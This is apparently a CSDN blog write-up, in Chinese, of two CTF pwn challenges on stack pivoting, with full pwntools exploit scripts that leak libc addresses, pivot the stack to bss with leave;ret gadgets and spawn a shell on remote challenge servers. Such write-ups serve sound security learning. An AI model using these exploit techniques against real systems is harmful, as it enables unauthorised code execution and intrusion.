栈迁移练习

文章详细介绍了两道CTF安全挑战的解题过程,涉及栈迁移、缓冲区溢出、puts函数地址泄露、libc库利用,以及ROP链构造,最终目标是获取shell。在第一题中,通过选择特定选项泄露puts地址并构造ROP链;第二题中,利用两次栈迁移,首次泄露libc地址,随后获取shell。
摘要由CSDN通过智能技术生成

栈迁移基础——>栈迁移基础

a_story_of_a_pwner

这是NKCTF 2023中的一道题
checksec后IDA看下
在这里插入图片描述
在这里插入图片描述
题目中有一个菜单,打开各个选项后发现
在这里插入图片描述
前三个选项类似,read函数中的都是bss段地址。
而选项四有两种情况
在这里插入图片描述
在这里插入图片描述
可以看出了puts函数地址可以泄露出来,从而泄露libc,然后在选过123之后再选4进行栈溢出,溢出字节是不够的,所以我们把pop_rdi、sys_addr、binsh地址写入到前三个选项中的bss段
在这里插入图片描述
exp:

from pwn import *

io=remote('node2.yuzhian.com.cn',39708)
#io=process('./story')

elf=ELF('./story')
libc=ELF('./libc.so.6')

io.recvuntil("> ")
io.sendline('4')
io.recvuntil("I give it up, you can see this. 0x")
puts_addr=int(io.recv(12),16)
log.success("puts_addr="+hex(puts_addr))
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b"/bin/sh"))

pop_rdi=0x401573
leave_ret=0x40139e

io.recvuntil("> ")
io.sendline('2')
io.recvuntil("what's your corment?\n")
io.send(p64(pop_rdi))
io.recvuntil("> ")
io.sendline('1')
io.recvuntil("what's your comment?\n")
io.send(p64(binsh))
io.recvuntil("> ")
io.sendline('3')
io.recvuntil("what's your corMenT?\n")
io.send(p64(sys_addr))

io.recvuntil("> ")
io.sendline('4')
io.recvuntil("now, come and read my heart...\n")
payload=b'a'*10+p64(0x4050A0-0x8)+p64(leave_ret)
io.sendline(payload)
io.interactive()

[Black Watch 入群题]PWN

checksec下
在这里插入图片描述
IDA
在这里插入图片描述
可以看到有两次read,而且第一次read到了bss段,第二次栈溢出8字节,显然不够构造rop链,所以我们栈迁移到bss段,在第一次输入的时候构造rop链。
但是这里我们需要重复迁移两次,第一次泄露libc,第二次再进行getshell
exp:

from pwn import *
from LibcSearcher import *

#p=process('./spwn')
io=remote('node4.buuoj.cn',29977)
elf=ELF('./spwn')

write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x8048513
bss_addr=0x0804A300
leave_ret=0x08048408

payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.recvuntil("What is your name?")
io.send(payload)

payload1=b'a'*0x18+p32(bss_addr-4)+p32(leave_ret)
io.recvuntil("What do you want to say?")
io.send(payload1)

write_addr=u32(io.recv(4))

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
sys_addr=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')

io.recvuntil("name?")
payload=p32(sys_addr)+p32(0)+p32(binsh)
io.sendline(payload)

io.recvuntil("say?")
io.sendline(payload1)

io.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lxxxt_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值